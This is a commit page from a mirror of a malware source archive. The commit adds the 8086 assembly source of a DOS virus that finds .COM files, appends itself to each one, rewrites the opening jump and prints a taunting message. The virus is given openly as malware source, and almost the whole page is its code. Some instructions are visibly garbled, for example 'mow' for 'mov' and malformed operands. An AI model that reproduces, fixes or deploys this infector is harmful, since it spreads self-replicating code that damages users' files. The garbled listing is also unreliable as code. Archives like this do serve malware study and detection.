mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,227 @@
|
||||
.8086
|
||||
page ,132
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:cseg
|
||||
org 100h
|
||||
start:
|
||||
db 0E9h
|
||||
dw 15h
|
||||
id dw 0FFFFh
|
||||
org 110h
|
||||
virus:
|
||||
push ds
|
||||
mov ax,cs
|
||||
db 00000101b
|
||||
new_ds dw 0FFFFh
|
||||
mow ds,ax
|
||||
|
||||
restore_3_bytes:
|
||||
mow al,bytes_3[0]
|
||||
mow byte ptr cs:[100h],al
|
||||
mow al,bytes_3[1]
|
||||
mow byte ptr cs:[101h],al
|
||||
mov al,bytes_3[2]
|
||||
mow byte ptr cs:[102h],al
|
||||
|
||||
store_dta:
|
||||
mow cx,100h
|
||||
mov bx,0
|
||||
dta_s:
|
||||
mov al,byte ptr cs:[bx]
|
||||
mov byte ptr dta[bx],al
|
||||
inc bx
|
||||
loop dta_s
|
||||
|
||||
find_first:
|
||||
lea dx,fmask
|
||||
mov cx,00100000b
|
||||
mov ah,4Eh
|
||||
int 21h
|
||||
jnc store_fname
|
||||
jmp err
|
||||
find_next:
|
||||
mov bx,handle
|
||||
mov ah,3Eh
|
||||
int 21h
|
||||
mov handle,0FFFFh
|
||||
mov ah,4Fh
|
||||
int 21h
|
||||
jnc store_fname
|
||||
jmp err
|
||||
|
||||
store_fname:
|
||||
cmp byte ptr cs:[95h],00000001b
|
||||
je find_next
|
||||
mov bx,0
|
||||
next_sym:
|
||||
mov al,byte ptr cs:[bx+9Eh]
|
||||
mov fname[bx],al
|
||||
cmp byte ptr cs:[bx+9Eh],0
|
||||
je set_attrib
|
||||
inc bx
|
||||
cmp bx,13
|
||||
jng next_sym
|
||||
jmp err
|
||||
|
||||
set_attrib:
|
||||
lea dx,fname
|
||||
mov cx,00100000b
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
jnc read_handle
|
||||
jmp err
|
||||
|
||||
read_handle:
|
||||
lea dx,fname
|
||||
mov ax,3D02h
|
||||
int 21h
|
||||
jnc read_3_bytes
|
||||
jmp err
|
||||
|
||||
read_3_bytes:
|
||||
mov handle,ax
|
||||
lea dx,bytes_3
|
||||
mov bx_handle
|
||||
mov cx_3
|
||||
mov ax,3Fh
|
||||
int 21h
|
||||
jnc read_flen
|
||||
jmp err
|
||||
|
||||
read_flen:
|
||||
mov cx,0
|
||||
mov dx,0
|
||||
mov bx,handle
|
||||
mov al,2
|
||||
mov ah,42h
|
||||
int 21h
|
||||
jnc check_id
|
||||
jmp err
|
||||
|
||||
check_id:
|
||||
mov flenold,ax
|
||||
test ax,00001111b
|
||||
jz just
|
||||
or ax,00001111b
|
||||
inc ax
|
||||
|
||||
just:
|
||||
mov flen,ax
|
||||
cmp ax,64500
|
||||
jna calc_ds
|
||||
jmp find_next
|
||||
|
||||
calc_ds:
|
||||
mov cl,4
|
||||
shr ax,cl
|
||||
dec ax
|
||||
mov byte ptr new_ds[0],al
|
||||
mov byte ptr new_ds[1],ah
|
||||
mov cx,0
|
||||
mov dx,flenold
|
||||
dec dx
|
||||
mov bx,handle
|
||||
mov al,0
|
||||
mov ah,42h
|
||||
int 21h
|
||||
jnc read_id
|
||||
jmp err
|
||||
|
||||
read_id:
|
||||
lea dx,bytes_3[3]
|
||||
mov bx,handle
|
||||
mov cx,1
|
||||
mov ah,3Fh
|
||||
int 21h
|
||||
jnc test_id
|
||||
jmp find_next
|
||||
test_id:
|
||||
cmp bytes_3[3],'$'
|
||||
jne not_infected
|
||||
jmp find_next
|
||||
not_infected:
|
||||
mov ax,flen
|
||||
sub ax,03h
|
||||
mov jmp_l,al
|
||||
mov jmp_h,ah
|
||||
mov cx,0
|
||||
mov dx,flen
|
||||
mov bx,handle
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
jc err
|
||||
lea dx,virus
|
||||
mov cx,virlen
|
||||
mov bx,handle
|
||||
mov ah,40h
|
||||
int 21h
|
||||
jc err
|
||||
|
||||
write_jmp:
|
||||
mov cx,0
|
||||
mov dx,0
|
||||
mov bx,handle
|
||||
mov al,0
|
||||
mov ah,42h
|
||||
int 21h
|
||||
jc err
|
||||
lea dx,jmpvir
|
||||
mov cx,3
|
||||
mov bx,handle
|
||||
mov ah,40h
|
||||
int 21h
|
||||
jc err
|
||||
|
||||
print_msg:
|
||||
lea dx,msg
|
||||
mov ah,09h
|
||||
int 21h
|
||||
|
||||
err:
|
||||
cmp handle,0FFFFh
|
||||
je exit
|
||||
|
||||
close_file:
|
||||
mov bx,handle
|
||||
mov ah,3Eh
|
||||
int 21h
|
||||
exit:
|
||||
cmp cs:[id],0FFFFh
|
||||
je goto_dos
|
||||
restore_dta:
|
||||
mov cx,100h
|
||||
mov bx,0
|
||||
dta_r:
|
||||
mov al,byte ptr dta[bx]
|
||||
mov byte ptr cs:[bx],al
|
||||
inc bx
|
||||
loop dta_r
|
||||
|
||||
goto_start:
|
||||
mov ax,cs
|
||||
mov ds:[start_s],ax
|
||||
pop ds
|
||||
db DEAh
|
||||
dw 0100h
|
||||
start_s dw (?)
|
||||
|
||||
goto_dos
|
||||
mov ax,4C00h
|
||||
int 21h
|
||||
|
||||
fmask db '*.com',0h
|
||||
fname db 12 dup (?),0h
|
||||
flenold dw (?)
|
||||
flen dw (?)
|
||||
handle dw 0FFFFh
|
||||
jmpvir db 0E9h
|
||||
jmp_l db (?)
|
||||
jmp_n db (?)
|
||||
bytes_3 db 3 dup (?)
|
||||
db (?)
|
||||
dta db 101h dup (?)
|
||||
msg db 0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
|
||||
virlen equ $-virus
|
||||
|
||||
cseg ends
|
||||
end start
|
||||
Reference in New Issue
Block a user